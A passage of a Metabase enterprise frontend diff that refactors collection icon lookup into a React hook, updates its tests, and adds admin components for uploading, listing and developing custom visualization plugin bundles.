diff --git a/enterprise/frontend/src/metabase-enterprise/collections/components/CollectionAuthorityLevelDisplay.tsx b/enterprise/frontend/src/metabase-enterprise/collections/components/CollectionAuthorityLevelDisplay.tsx
index f0832d00473..3fd9a3fdfc2 100644
--- a/enterprise/frontend/src/metabase-enterprise/collections/components/CollectionAuthorityLevelDisplay.tsx
+++ b/enterprise/frontend/src/metabase-enterprise/collections/components/CollectionAuthorityLevelDisplay.tsx
@@ -11,13 +11,15 @@ export const CollectionAuthorityLevelDisplay = ({
}: {
collection: Collection;
}) => {
- const iconProps = useMemo(() => {
- const icon = PLUGIN_COLLECTIONS.getIcon({
- ...collection,
- model: "collection",
- } as ObjectWithModel);
- return icon;
- }, [collection]);
+ const getIcon = PLUGIN_COLLECTIONS.useGetIcon();
+ const iconProps = useMemo(
+ () =>
+ getIcon({
+ ...collection,
+ model: "collection",
+ } as unknown as ObjectWithModel),
+ [collection, getIcon],
+ );
if (collection.authority_level !== "official") {
return null;
diff --git a/enterprise/frontend/src/metabase-enterprise/collections/index.tsx b/enterprise/frontend/src/metabase-enterprise/collections/index.tsx
index b6a2cc1de05..223463f4a24 100644
--- a/enterprise/frontend/src/metabase-enterprise/collections/index.tsx
+++ b/enterprise/frontend/src/metabase-enterprise/collections/index.tsx
@@ -24,9 +24,9 @@ import { useGetDefaultCollectionId } from "./use-get-default-collection-id";
import {
filterOutItemsFromInstanceAnalytics,
getCollectionType,
- getIcon,
isRegularCollection,
isSyncedCollection,
+ useGetIcon,
} from "./utils";
/**
@@ -41,7 +41,7 @@ export function initializePlugin() {
PLUGIN_COLLECTIONS.isRegularCollection = isRegularCollection;
PLUGIN_COLLECTIONS.REGULAR_COLLECTION = REGULAR_COLLECTION;
PLUGIN_COLLECTIONS.AUTHORITY_LEVEL = AUTHORITY_LEVELS;
- PLUGIN_COLLECTIONS.getIcon = getIcon;
+ PLUGIN_COLLECTIONS.useGetIcon = useGetIcon;
PLUGIN_COLLECTIONS.getAuthorityLevelMenuItems = (
collection: Collection,
diff --git a/enterprise/frontend/src/metabase-enterprise/collections/utils.ts b/enterprise/frontend/src/metabase-enterprise/collections/utils.ts
index 98934152c2e..ec23872d86f 100644
--- a/enterprise/frontend/src/metabase-enterprise/collections/utils.ts
+++ b/enterprise/frontend/src/metabase-enterprise/collections/utils.ts
@@ -1,10 +1,12 @@
+import { useCallback } from "react";
+
import type {
CollectionAuthorityLevelConfig,
CollectionInstanceAnaltyicsConfig,
} from "metabase/collections/types";
import type { IconData, ObjectWithModel } from "metabase/common/utils/icon";
-import { getIconBase } from "metabase/common/utils/icon";
import { getLibraryCollectionType } from "metabase/data-studio/utils";
+import { useGetIconBase } from "metabase/hooks/use-icon";
import type { ItemWithCollection } from "metabase/plugins";
import type {
Bookmark,
@@ -57,52 +59,59 @@ export function isSyncedCollection(
return collection.is_remote_synced === true;
}
-export const getIcon = (
- item: ObjectWithModel,
- { isTenantUser = false }: { isTenantUser?: boolean } = {},
-): IconData => {
- const collectionType = getCollectionType({
- type: (item.type as CollectionType) || item.collection_type,
- }).type;
- if (collectionType === "instance-analytics") {
- return {
- name: INSTANCE_ANALYTICS_COLLECTION.icon,
- };
- }
+export const useGetIcon = () => {
+ const getIconBase = useGetIconBase();
- if (item.model === "collection") {
- // Library collections keep their special icon regardless of sync status
- const libraryCollectionType = getLibraryCollectionType(
- item.type as CollectionType,
- );
- if (libraryCollectionType != null) {
- return getIconBase(item);
- }
+ return useCallback(
+ (
+ item: ObjectWithModel,
+ { isTenantUser = false }: { isTenantUser?: boolean } = {},
+ ): IconData => {
+ const collectionType = getCollectionType({
+ type: (item.type as CollectionType) || item.collection_type,
+ }).type;
+ if (collectionType === "instance-analytics") {
+ return {
+ name: INSTANCE_ANALYTICS_COLLECTION.icon,
+ };
+ }
- // tenant users see the normal icon, they don't know what a synced collection is
- if (item.is_remote_synced && !isTenantUser) {
- return {
- name: REMOTE_SYNC_COLLECTION.icon,
- };
- }
+ if (item.model === "collection") {
+ // Library collections keep their special icon regardless of sync status
+ const libraryCollectionType = getLibraryCollectionType(
+ item.type as CollectionType,
+ );
+ if (libraryCollectionType != null) {
+ return getIconBase(item);
+ }
- if (
- item.authority_level === "official" ||
- item.collection_authority_level === "official"
- ) {
- return {
- name: OFFICIAL_COLLECTION.icon,
- color: OFFICIAL_COLLECTION.color,
- tooltip: OFFICIAL_COLLECTION.tooltips?.default,
- };
- }
- }
+ // tenant users see the normal icon, they don't know what a synced collection is
+ if (item.is_remote_synced && !isTenantUser) {
+ return {
+ name: REMOTE_SYNC_COLLECTION.icon,
+ };
+ }
+
+ if (
+ item.authority_level === "official" ||
+ item.collection_authority_level === "official"
+ ) {
+ return {
+ name: OFFICIAL_COLLECTION.icon,
+ color: OFFICIAL_COLLECTION.color,
+ tooltip: OFFICIAL_COLLECTION.tooltips?.default,
+ };
+ }
+ }
- if (item.model === "dataset" && item.moderated_status === "verified") {
- return { name: "model_with_badge" };
- }
+ if (item.model === "dataset" && item.moderated_status === "verified") {
+ return { name: "model_with_badge" };
+ }
- return getIconBase(item);
+ return getIconBase(item);
+ },
+ [getIconBase],
+ );
};
/** Removes items from the array that belong to the instance analytics collection or one of its children */
diff --git a/enterprise/frontend/src/metabase-enterprise/collections/utils.unit.spec.tsx b/enterprise/frontend/src/metabase-enterprise/collections/utils.unit.spec.tsx
index 006b14e3841..5fc81f2920e 100644
--- a/enterprise/frontend/src/metabase-enterprise/collections/utils.unit.spec.tsx
+++ b/enterprise/frontend/src/metabase-enterprise/collections/utils.unit.spec.tsx
@@ -1,3 +1,5 @@
+import { renderHook } from "@testing-library/react";
+
import { setupEnterprisePlugins } from "__support__/enterprise";
import { mockSettings } from "__support__/settings";
import { renderWithProviders } from "__support__/ui";
@@ -11,8 +13,8 @@ import {
import {
filterOutItemsFromInstanceAnalytics,
getCollectionType,
- getIcon,
isRegularCollection,
+ useGetIcon,
} from "./utils";
describe("Collections plugin utils", () => {
@@ -65,27 +67,39 @@ describe("Collections plugin utils", () => {
});
});
- describe("getIcon", () => {
+ describe("useGetIcon", () => {
+ const createGetIcon = () => {
+ const { result } = renderHook(() => useGetIcon());
+ return result.current;
+ };
+
it("should return the default icon for a regular collection", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "collection" })).toEqual({ name: "folder" });
});
it("should return the default icon for a regular dashboard", () => {
- expect(getIcon({ model: "dashboard" })).toEqual({ name: "dashboard" });
+ const getIcon = createGetIcon();
+ expect(getIcon({ model: "dashboard" })).toEqual({
+ name: "dashboard",
+ });
});
it("should return the default icon for a regular question", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card" })).toEqual({ name: "table2" });
});
describe("enterprise icons", () => {
it("should return the correct icon for an instance analytics collection", () => {
+ const getIcon = createGetIcon();
expect(
getIcon({ model: "collection", type: "instance-analytics" }),
).toEqual({ name: "audit" });
});
it("should return the correct icon for an official collection", () => {
+ const getIcon = createGetIcon();
expect(
getIcon({ model: "collection", authority_level: "official" }),
).toEqual({
@@ -96,12 +110,14 @@ describe("Collections plugin utils", () => {
});
it("should return the correct icon for a remote synced collection", () => {
+ const getIcon = createGetIcon();
expect(
getIcon({ model: "collection", is_remote_synced: true }),
).toEqual({ name: "synced_collection" });
});
it("should return the correct icon for a remote synced entity", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "dashboard", is_remote_synced: true })).toEqual(
{ name: "dashboard" },
);
@@ -113,10 +129,12 @@ describe("Collections plugin utils", () => {
collection_authority_level: "official",
model: "collection" as const,
};
+ const getIcon = createGetIcon();
expect(getIcon(collection).name).toBe("official_collection");
});
it("should return the correct icon for an official model", () => {
+ const getIcon = createGetIcon();
expect(
getIcon({ model: "dataset", moderated_status: "verified" }),
).toEqual({ name: "model_with_badge" });
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/analytics.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/analytics.ts
new file mode 100644
index 00000000000..677a620739f
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/analytics.ts
@@ -0,0 +1,27 @@
+import { trackSimpleEvent } from "metabase/analytics";
+
+export const trackCustomVizPluginCreated = (result: "success" | "failure") => {
+ trackSimpleEvent({ event: "custom_viz_plugin_created", result });
+};
+
+export const trackCustomVizPluginUpdated = (result: "success" | "failure") => {
+ trackSimpleEvent({ event: "custom_viz_plugin_updated", result });
+};
+
+export const trackCustomVizPluginDeleted = () => {
+ trackSimpleEvent({ event: "custom_viz_plugin_deleted" });
+};
+
+export const trackCustomVizPluginToggled = (
+ event_detail: "enabled" | "disabled",
+) => {
+ trackSimpleEvent({ event: "custom_viz_plugin_toggled", event_detail });
+};
+
+export const trackCustomVizPluginRefreshed = () => {
+ trackSimpleEvent({ event: "custom_viz_plugin_refreshed" });
+};
+
+export const trackCustomVizSelected = () => {
+ trackSimpleEvent({ event: "custom_viz_selected" });
+};
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/AddDevCustomVizForm.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/AddDevCustomVizForm.tsx
new file mode 100644
index 00000000000..ea32a0295e9
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/AddDevCustomVizForm.tsx
@@ -0,0 +1,61 @@
+import { useCallback } from "react";
+import { t } from "ttag";
+
+import { SettingsSection } from "metabase/admin/components/SettingsSection";
+import {
+ Form,
+ FormErrorMessage,
+ FormProvider,
+ FormSubmitButton,
+ FormTextInput,
+} from "metabase/forms";
+import { Group, Stack } from "metabase/ui";
+import { useCreateDevCustomVizPluginMutation } from "metabase-enterprise/api";
+
+type FormState = {
+ devBundleUrl: string;
+};
+
+const DEFAULT_DEV_BUNDLE_URL = "http://localhost:5174";
+
+const initialValues: FormState = { devBundleUrl: DEFAULT_DEV_BUNDLE_URL };
+
+export function AddDevCustomVizForm() {
+ const [createDevPlugin] = useCreateDevCustomVizPluginMutation();
+
+ const handleSubmit = useCallback(
+ (values: FormState) =>
+ createDevPlugin({
+ dev_bundle_url: values.devBundleUrl,
+ }).unwrap(),
+ [createDevPlugin],
+ );
+
+ return (
+ <SettingsSection>
+ <FormProvider initialValues={initialValues} onSubmit={handleSubmit}>
+ {({ values }) => (
+ <Form>
+ <Stack gap="lg">
+ <FormTextInput
+ name="devBundleUrl"
+ label={t`Dev server URL`}
+ description={t`URL of the local dev server serving the visualization bundle, manifest, and assets.`}
+ placeholder={DEFAULT_DEV_BUNDLE_URL}
+ autoFocus
+ />
+ <FormErrorMessage />
+ <Group justify="flex-end">
+ <FormSubmitButton
+ label={t`Enable`}
+ disabled={!values.devBundleUrl}
+ variant="filled"
+ />
+ </Group>
+ </Stack>
+ </Form>
+ )}
+ </FormProvider>
+ </SettingsSection>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/BundleDropzone.module.css b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/BundleDropzone.module.css
new file mode 100644
index 00000000000..b0323e43a33
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/BundleDropzone.module.css
@@ -0,0 +1,27 @@
+.dropzone {
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+ justify-content: center;
+ gap: var(--mantine-spacing-sm);
+ min-height: 9rem;
+ padding: var(--mantine-spacing-xl);
+ background-color: var(--mb-color-background-secondary);
+ border: 1px dashed var(--mb-color-border);
+ border-radius: var(--default-border-radius);
+ cursor: pointer;
+ transition:
+ background-color 120ms ease,
+ border-color 120ms ease;
+ outline: none;
+}
+
+.dropzone:focus-visible,
+.dropzone.dropzoneActive {
+ background-color: var(--mb-color-background-hover);
+ border-color: var(--mb-color-brand);
+}
+
+.dropzone.dropzoneError {
+ border-color: var(--mb-color-error);
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/BundleDropzone.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/BundleDropzone.tsx
new file mode 100644
index 00000000000..0b35d9b13ca
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/BundleDropzone.tsx
@@ -0,0 +1,117 @@
+import cx from "classnames";
+import { useField } from "formik";
+import { useCallback } from "react";
+import { type FileRejection, useDropzone } from "react-dropzone";
+import { match } from "ts-pattern";
+import { t } from "ttag";
+
+import { Box, Icon, Stack, Text } from "metabase/ui";
+
+import S from "./BundleDropzone.module.css";
+
+export const MAX_BUNDLE_BYTES = 5 * 1024 * 1024;
+
+export const ALLOWED_EXTENSIONS = [".tgz", ".tar.gz"];
+
+export const hasAllowedExtension = (name: string): boolean => {
+ const lower = name.toLowerCase();
+ return ALLOWED_EXTENSIONS.some((ext) => lower.endsWith(ext));
+};
+
+const ACCEPT_TYPES = {
+ "application/gzip": ALLOWED_EXTENSIONS,
+ "application/x-gzip": ALLOWED_EXTENSIONS,
+ "application/x-tar": ALLOWED_EXTENSIONS,
+};
+
+export function BundleDropzone({ name = "file" }: { name?: string }) {
+ const [{ value: file }, { error, touched }, { setValue, setTouched }] =
+ useField<File | null>(name);
+
+ const onDrop = useCallback(
+ (accepted: File[], rejected: FileRejection[]) => {
+ setTouched(true);
+ if (accepted[0]) {
+ setValue(accepted[0]);
+ return;
+ }
+ if (rejected[0]) {
+ setValue(null);
+ }
+ },
+ [setValue, setTouched],
+ );
+
+ const { getRootProps, getInputProps, isDragActive, fileRejections } =
+ useDropzone({
+ onDrop,
+ multiple: false,
+ maxSize: MAX_BUNDLE_BYTES,
+ accept: ACCEPT_TYPES,
+ });
+
+ const showError = touched && !!error;
+ const rejectionMessage = fileRejections[0]?.errors[0]?.code
+ ? match(fileRejections[0].errors[0].code)
+ .with(
+ "file-invalid-type",
+ () => t`Bundle must be a .tgz file produced by "npm run build".`,
+ )
+ .with("file-too-large", () => t`Bundle must be smaller than 5 MB.`)
+ .otherwise(() => t`This file isn't a valid plugin bundle.`)
+ : null;
+
+ return (
+ <Stack>
+ <Box
+ {...getRootProps()}
+ className={cx(S.dropzone, {
+ [S.dropzoneActive]: isDragActive,
+ [S.dropzoneError]: showError || !!rejectionMessage,
+ })}
+ role="button"
+ tabIndex={0}
+ >
+ <input {...getInputProps()} />
+ {file ? (
+ <SelectedFile file={file} />
+ ) : (
+ <DropHint isDragActive={isDragActive} />
+ )}
+ </Box>
+ {(rejectionMessage || showError) && (
+ <Text c="error" size="sm">
+ {rejectionMessage ?? error}
+ </Text>
+ )}
+ </Stack>
+ );
+}
+
+function DropHint({ isDragActive }: { isDragActive: boolean }) {
+ return (
+ <>
+ <Icon name="upload" size={24} c="text-secondary" />
+ <Text fw={500}>
+ {isDragActive
+ ? t`Drop the .tgz here`
+ : t`Drag a .tgz here, or click to browse`}
+ </Text>
+ <Text c="text-secondary" size="sm">
+ {t`Up to 5 MB`}
+ </Text>
+ </>
+ );
+}
+
+function SelectedFile({ file }: { file: File }) {
+ return (
+ <>
+ <Icon name="document" size={24} c="brand" />
+ <Text fw={500}>{file.name}</Text>
+ <Text c="text-secondary" size="sm">
+ {(file.size / 1024).toFixed(1)} KB
+ </Text>
+ </>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizDevPage.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizDevPage.tsx
new file mode 100644
index 00000000000..ace78980d2b
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizDevPage.tsx
@@ -0,0 +1,33 @@
+import { useMemo } from "react";
+import { t } from "ttag";
+
+import { SettingsPageWrapper } from "metabase/admin/components/SettingsSection";
+import { LoadingAndErrorWrapper } from "metabase/common/components/LoadingAndErrorWrapper";
+import { useListAllCustomVizPluginsQuery } from "metabase-enterprise/api";
+
+import { AddDevCustomVizForm } from "./AddDevCustomVizForm";
+import { EditDevCustomVizForm } from "./EditDevCustomVizForm";
+
+export function CustomVizDevPage() {
+ const { data: plugins, error, isLoading } = useListAllCustomVizPluginsQuery();
+
+ const devPlugin = useMemo(
+ () => plugins?.find((plugin) => plugin.dev_only),
+ [plugins],
+ );
+
+ return (
+ <SettingsPageWrapper
+ title={t`Development`}
+ description={t`Set a dev server URL to load plugin code from a local dev server instead of the git repository. Changes take effect on the next page reload.`}
+ >
+ <LoadingAndErrorWrapper error={error} loading={isLoading} />
+
+ {devPlugin ? (
+ <EditDevCustomVizForm plugin={devPlugin} />
+ ) : (
+ <AddDevCustomVizForm />
+ )}
+ </SettingsPageWrapper>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizIcon.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizIcon.tsx
new file mode 100644
index 00000000000..11fadfdcf9c
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizIcon.tsx
@@ -0,0 +1,36 @@
+import { EntityIcon } from "metabase/common/components/EntityIcon";
+import { Flex } from "metabase/ui";
+import { getPluginAssetUrl } from "metabase/visualizations/custom-visualizations/custom-viz-utils";
+import type { CustomVizPlugin } from "metabase-types/api";
+
+type Props = {
+ plugin: CustomVizPlugin;
+};
+
+const ICON_SIZE = 20;
+
+export function CustomVizIcon({ plugin }: Props) {
+ const iconUrl = getPluginAssetUrl(plugin.id, plugin.icon);
+
+ return (
+ <Flex
+ align="center"
+ bd="1px solid var(--mb-color-border)"
+ bdrs="xl"
+ bg="background-secondary"
+ justify="center"
+ w="3.125rem"
+ h="3.125rem"
+ style={{
+ flexShrink: 0,
+ }}
+ >
+ <EntityIcon
+ alt={plugin.display_name}
+ iconUrl={iconUrl}
+ name="unknown"
+ size={ICON_SIZE}
+ />
+ </Flex>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizListItem.module.css b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizListItem.module.css
new file mode 100644
index 00000000000..3dde2801248
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizListItem.module.css
@@ -0,0 +1,11 @@
+.customVizListItem:hover {
+ background-color: var(--mb-color-background-hover);
+}
+
+.menuContainer {
+ visibility: hidden;
+}
+
+.customVizListItem:hover .menuContainer {
+ visibility: visible;
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizListItem.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizListItem.tsx
new file mode 100644
index 00000000000..808deaff78d
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizListItem.tsx
@@ -0,0 +1,105 @@
+import { useCallback, useState } from "react";
+import { t } from "ttag";
+
+import { ConfirmModal } from "metabase/common/components/ConfirmModal";
+import { Link } from "metabase/common/components/Link";
+import { ActionIcon, Box, Flex, Group, Icon, Menu, Text } from "metabase/ui";
+import * as Urls from "metabase/urls";
+import { useUpdateCustomVizPluginMutation } from "metabase-enterprise/api";
+import type { CustomVizPlugin, CustomVizPluginId } from "metabase-types/api";
+
+import { trackCustomVizPluginToggled } from "../analytics";
+
+import S from "./CustomVizListItem.module.css";
+import { CustomVizPluginSummary } from "./CustomVizPluginSummary";
+
+type Props = {
+ plugin: CustomVizPlugin;
+ onDelete: (id: CustomVizPluginId) => void;
+};
+
+export function CustomVizListItem({ plugin, onDelete }: Props) {
+ const [isDeleting, setIsDeleting] = useState(false);
+ const [isConfirmOpen, setIsConfirmOpen] = useState(false);
+ const [updatePlugin] = useUpdateCustomVizPluginMutation();
+
+ const handleConfirmDelete = useCallback(async () => {
+ setIsDeleting(true);
+ try {
+ await onDelete(plugin.id);
+ setIsConfirmOpen(false);
+ } finally {
+ setIsDeleting(false);
+ }
+ }, [plugin.id, onDelete]);
+
+ const handleToggleEnabled = useCallback(async () => {
+ await updatePlugin({ id: plugin.id, enabled: !plugin.enabled });
+ trackCustomVizPluginToggled(plugin.enabled ? "disabled" : "enabled");
+ }, [plugin.id, plugin.enabled, updatePlugin]);
+
+ return (
+ <Flex
+ justify="space-between"
+ align="center"
+ gap="md"
+ p="md"
+ className={S.customVizListItem}
+ >
+ <CustomVizPluginSummary plugin={plugin} />
+
+ {!plugin.enabled && (
+ <Group align="center" flex="0 0 auto" gap="xs">
+ <Text c="text-secondary" fw={500}>
+ {t`Disabled`}
+ </Text>
+ </Group>
+ )}
+
+ <Box className={S.menuContainer} flex="0 0 auto">
+ <Menu>
+ <Menu.Target>
+ <ActionIcon
+ aria-label={t`Plugin actions`}
+ variant="subtle"
+ loading={isDeleting}
+ >
+ <Icon name="ellipsis" />
+ </ActionIcon>
+ </Menu.Target>
+ <Menu.Dropdown>
+ <Menu.Item
+ component={Link}
+ to={Urls.customVizEdit(plugin.id)}
+ leftSection={<Icon name="upload" />}
+ >
+ {t`Replace bundle`}
+ </Menu.Item>
+ <Menu.Item
+ leftSection={<Icon name={plugin.enabled ? "pause" : "play"} />}
+ onClick={handleToggleEnabled}
+ >
+ {plugin.enabled ? t`Disable` : t`Enable`}
+ </Menu.Item>
+ <Menu.Item
+ leftSection={<Icon name="trash" />}
+ color="error"
+ onClick={() => setIsConfirmOpen(true)}
+ >
+ {t`Remove`}
+ </Menu.Item>
+ </Menu.Dropdown>
+ </Menu>
+ <ConfirmModal
+ opened={isConfirmOpen}
+ title={t`Remove this visualization?`}
+ message={t`Any saved question that uses it will switch to a default visualization based on its data.`}
+ confirmButtonText={t`Remove`}
+ confirmButtonProps={{ disabled: isDeleting }}
+ onClose={() => setIsConfirmOpen(false)}
+ onConfirm={handleConfirmDelete}
+ />
+ </Box>
+ </Flex>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizPage.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizPage.tsx
new file mode 100644
index 00000000000..4e09c9ce6e7
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizPage.tsx
@@ -0,0 +1,216 @@
+import { useCallback, useEffect } from "react";
+import { push } from "react-router-redux";
+import { jt, t } from "ttag";
+import * as Yup from "yup";
+
+import {
+ SettingsPageWrapper,
+ SettingsSection,
+} from "metabase/admin/components/SettingsSection";
+import { ExternalLink } from "metabase/common/components/ExternalLink";
+import { useDocsUrl } from "metabase/common/hooks";
+import {
+ Form,
+ FormErrorMessage,
+ FormProvider,
+ FormSubmitButton,
+} from "metabase/forms";
+import { useDispatch } from "metabase/redux";
+import {
+ Box,
+ Button,
+ Code,
+ Flex,
+ Group,
+ Stack,
+ Text,
+ Title,
+} from "metabase/ui";
+import * as Urls from "metabase/urls";
+import * as Errors from "metabase/utils/errors";
+import {
+ useCreateCustomVizPluginMutation,
+ useListAllCustomVizPluginsQuery,
+ useReplaceCustomVizPluginBundleMutation,
+} from "metabase-enterprise/api";
+
+import {
+ trackCustomVizPluginCreated,
+ trackCustomVizPluginUpdated,
+} from "../analytics";
+
+import {
+ BundleDropzone,
+ MAX_BUNDLE_BYTES,
+ hasAllowedExtension,
+} from "./BundleDropzone";
+
+type Props = {
+ params?: {
+ id?: string;
+ };
+};
+
+type FormState = {
+ file: File | null;
+};
+
+const initialValues: FormState = { file: null };
+
+const validationSchema: Yup.SchemaOf<FormState> = Yup.object({
+ file: Yup.mixed<File>()
+ .nullable()
+ .required(Errors.required)
+ .test(
+ "valid-extension",
+ () => t`Bundle must be a .tgz file produced by "npm run build".`,
+ (value) => !!value && hasAllowedExtension(value.name),
+ )
+ .test(
+ "valid-size",
+ () => t`Bundle must be smaller than 5 MB.`,
+ (value) => !!value && value.size <= MAX_BUNDLE_BYTES,
+ ),
+});
+
+export function CustomVizPage({ params }: Props) {
+ const dispatch = useDispatch();
+ const pluginId = params?.id ? parseInt(params.id, 10) : undefined;
+ const { data: plugins } = useListAllCustomVizPluginsQuery();
+ const plugin = pluginId ? plugins?.find((p) => p.id === pluginId) : undefined;
+ const isEdit = pluginId !== undefined;
+
+ const [createPlugin] = useCreateCustomVizPluginMutation();
+ const [replaceBundle] = useReplaceCustomVizPluginBundleMutation();
+
+ // eslint-disable-next-line metabase/no-unconditional-metabase-links-render -- Admin settings
+ const { url: docsUrl } = useDocsUrl(
+ "questions/visualizations/custom-visualizations",
+ );
+
+ const submitValues = useCallback(
+ async (values: FormState) => {
+ const file = values.file;
+ if (!file) {
+ return;
+ }
+ if (isEdit && plugin) {
+ try {
+ await replaceBundle({ id: plugin.id, file }).unwrap();
+ trackCustomVizPluginUpdated("success");
+ } catch (error) {
+ trackCustomVizPluginUpdated("failure");
+ throw error;
+ }
+ } else {
+ try {
+ await createPlugin({ file }).unwrap();
+ trackCustomVizPluginCreated("success");
+ } catch (error) {
+ trackCustomVizPluginCreated("failure");
+ throw error;
+ }
+ }
+ dispatch(push(Urls.customViz()));
+ },
+ [createPlugin, replaceBundle, plugin, isEdit, dispatch],
+ );
+
+ const handleCancel = useCallback(() => {
+ dispatch(push(Urls.customViz()));
+ }, [dispatch]);
+
+ const shouldRedirectToList = isEdit && !plugin && !!plugins;
+ const shouldRedirectToDev = isEdit && !!plugin?.dev_only;
+
+ useEffect(() => {
+ if (shouldRedirectToList) {
+ dispatch(push(Urls.customViz()));
+ }
+ }, [shouldRedirectToList, dispatch]);
+
+ useEffect(() => {
+ if (shouldRedirectToDev) {
+ dispatch(push(Urls.customVizDev()));
+ }
+ }, [shouldRedirectToDev, dispatch]);
+
+ if (shouldRedirectToList || shouldRedirectToDev) {
+ return null;
+ }
+
+ if (isEdit && !plugin) {
+ return null;
+ }
+
+ const description = isEdit
+ ? t`Upload a new packaged bundle (.tgz) to replace this visualization. The bundle's manifest "name" must match the existing identifier.`
+ : t`Upload a packaged bundle (.tgz) produced by running "npm run build" in your custom-viz project.`;
+
+ return (
+ <SettingsPageWrapper>
+ <Stack gap="0">
+ <Flex justify="space-between">
+ <Title order={1} style={{ height: "2.5rem" }}>
+ {t`Custom visualizations`}
+ </Title>
+ </Flex>
+
+ <Text c="text-secondary" maw="40rem">
+ {description}
+ </Text>
+ </Stack>
+ <SettingsSection>
+ <Box
+ bdrs="md"
+ bg="background-primary"
+ data-testid="custom-viz-settings-form"
+ >
+ <FormProvider
+ initialValues={initialValues}
+ validationSchema={validationSchema}
+ onSubmit={submitValues}
+ >
+ {({ dirty }) => (
+ <Form>
+ <Stack gap="40px">
+ <Stack gap="md">
+ <Title order={2}>
+ {isEdit && plugin
+ ? t`Replace bundle for ${plugin.display_name}`
+ : t`Add a new visualization`}
+ </Title>
+ {!isEdit && (
+ <Text c="text-secondary">
+ {jt`Create a custom visualization bundle by running ${(
+ <Code key="cmd">{t`npm run build`}</Code>
+ )} in your custom visualization project. ${(
+ <ExternalLink
+ key="docs"
+ href={docsUrl}
+ >{t`Read the docs`}</ExternalLink>
+ )}.`}
+ </Text>
+ )}
+ </Stack>
+ <BundleDropzone />
+ <FormErrorMessage />
+ <Group gap="sm" justify="flex-end">
+ <Button variant="default" onClick={handleCancel}>
+ {t`Cancel`}
+ </Button>
+ <FormSubmitButton
+ label={isEdit ? t`Replace` : t`Add visualization`}
+ disabled={!dirty}
+ variant="filled"
+ />
+ </Group>
+ </Stack>
+ </Form>
+ )}
+ </FormProvider>
+ </Box>
+ </SettingsSection>
+ </SettingsPageWrapper>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizPluginSummary.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizPluginSummary.tsx
new file mode 100644
index 00000000000..33071aa6539
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/CustomVizPluginSummary.tsx
@@ -0,0 +1,46 @@
+import { t } from "ttag";
+
+import { Group, Stack, Text } from "metabase/ui";
+import type { CustomVizPlugin } from "metabase-types/api";
+
+import { CustomVizIcon } from "./CustomVizIcon";
+
+type Props = {
+ plugin: CustomVizPlugin;
+};
+
+export function CustomVizPluginSummary({ plugin }: Props) {
+ return (
+ <Group align="flex-start" flex="1" wrap="nowrap">
+ <CustomVizIcon plugin={plugin} />
+ <Stack flex="1" gap="xs" py="xs">
+ <Text fw={700}>{plugin.display_name}</Text>
+ {(plugin.bundle_hash || plugin.metabase_version) && (
+ <Group gap="xs">
+ {plugin.bundle_hash && (
+ <Text size="sm" c="text-tertiary">
+ {t`Bundle: ${plugin.bundle_hash.slice(0, 8)}`}
+ </Text>
+ )}
+ {plugin.bundle_hash && plugin.metabase_version && (
+ <Text size="sm" c="text-tertiary">
+ &bull;
+ </Text>
+ )}
+ {plugin.metabase_version && (
+ <Text size="sm" c="text-tertiary">
+ {/* eslint-disable-next-line metabase/no-literal-metabase-strings -- admin-only custom-viz settings page */}
+ {t`Requires Metabase ${plugin.metabase_version}`}
+ </Text>
+ )}
+ </Group>
+ )}
+ {plugin.error_message && (
+ <Text size="sm" c="error">
+ {plugin.error_message}
+ </Text>
+ )}
+ </Stack>
+ </Group>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/EditDevCustomVizForm.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/EditDevCustomVizForm.tsx
new file mode 100644
index 00000000000..2509ed91b8f
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/EditDevCustomVizForm.tsx
@@ -0,0 +1,116 @@
+import { useCallback, useMemo } from "react";
+import { match } from "ts-pattern";
+import { t } from "ttag";
+
+import { SettingsSection } from "metabase/admin/components/SettingsSection";
+import {
+ Form,
+ FormErrorMessage,
+ FormProvider,
+ FormSubmitButton,
+ FormTextInput,
+} from "metabase/forms";
+import { Button, Group, Icon, Stack, Text } from "metabase/ui";
+import {
+ useDeleteCustomVizPluginMutation,
+ useSetCustomVizPluginDevUrlMutation,
